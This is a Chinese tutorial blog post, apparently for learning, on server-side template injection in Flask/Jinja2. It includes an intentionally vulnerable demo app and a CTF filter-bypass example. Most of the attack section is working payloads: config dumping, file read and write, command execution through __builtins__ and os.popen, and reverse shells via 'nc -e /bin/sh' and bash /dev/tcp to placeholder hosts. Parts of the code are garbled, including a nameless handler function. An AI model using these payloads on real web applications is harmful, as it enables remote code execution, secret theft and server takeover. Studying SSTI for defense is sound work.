flask jinja2 mysql_flask/jinja2 SSTI注入学习

0x00 前言

服务端模板注入(SSTI)攻击,可以看看James Kettle写的这篇文章。

flask出现模板注入原因主要还是因为使用了render_template_string函数

0x01 环境搭建

test.py1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19from flask import Flask,render_template,config,render_template_string,request

from Config import Config

app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"

@app.errorhandler(404)

def (e):

template = '''

Oops! That page doesn't exist.

%s

''' %(request.url)

return render_template_string(template)

if __name__=='__main__':`

app.run('0.0.0.0',9999,debug=True)

0x02 检测注入1

2http://localhost:8888/{{ 7*7 }}

#http://localhost:8888/%7B%7B7*7%7D%7D

1a47c5b64210ca68e7fefb471c090375.png导出config变量1http://localhost:8888/{{config.items()}}

0801c41c27e7dc20961a50e7b4b23441.png导出类1http://localhost:8888/{{''.__class__.__mro__[2].__subclasses__()}}

6c994fa0c14fb34a6a65b979e78db15d.png

0x03 漏洞利用python2 和python3 有不同,这里测试的是python2,python3的类每次位置会变

1b62651a496c8486a19a1c286cb55be9.png

84725dc37ec240e979903ee3f42ed994.png

文件操作

能够执行代码,就能够完成很多事情,接下来,我们将写入一个webshell。之后的知识涉及沙箱逃逸和反弹shell

python2:1

2

3

4#写

{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag', 'w').write('1234123') }}

#读

{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag').read() }}

f4d9ba5b396495e2185042359d443c80.png

执行命令1

2

3

4

5

6

7

8''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__

下有eval,__import__等的全局函数,可以利用此来执行命令:

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

#__import__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

反弹shell1

2

3

4

5

6

7

8

9

10

11

12# 写入文件

payload 1 ::

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}

payload 2 ::

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}

# 利用 config.from_pyfile 加载文件

{{ config.from_pyfile('/tmp/shaobao') }}

# 反弹shell ; 提供两种方法;对应上的两个文件

payload1 ::

{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}

payload2 ::

{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}

如果过滤了’(‘,’)’,例如TokyoWesterns CTF 4th 2018 - Shrine1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21import flask

import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')

def index():

return open(__file__).read()

@app.route('/shrine/')

def shrine(shrine):

def safe_jinja(s):

s = s.replace('(', '').replace(')', '')

blacklist = ['config', 'self']

return '

'.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':

app.run(debug=True)1

2

3

4

5def __repr__(self):

top = _app_ctx_stack.top

if top is not None:

return '' % top.app.name

return object.__repr__(self)

payload:

g.__repr__.__func__.__globals__._app_ctx_stack.top.app.name.config

该func属性将为我们提供由方法运行的函数(方法是一个函数加上它所属的类的引用,我认为

0x05 防范与总结不提倡使用 render_template_string()

一般开发者都会将模板内容写入固定文件夹templates规范模板渲染,按照Jinja2的官方文档

Referer

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值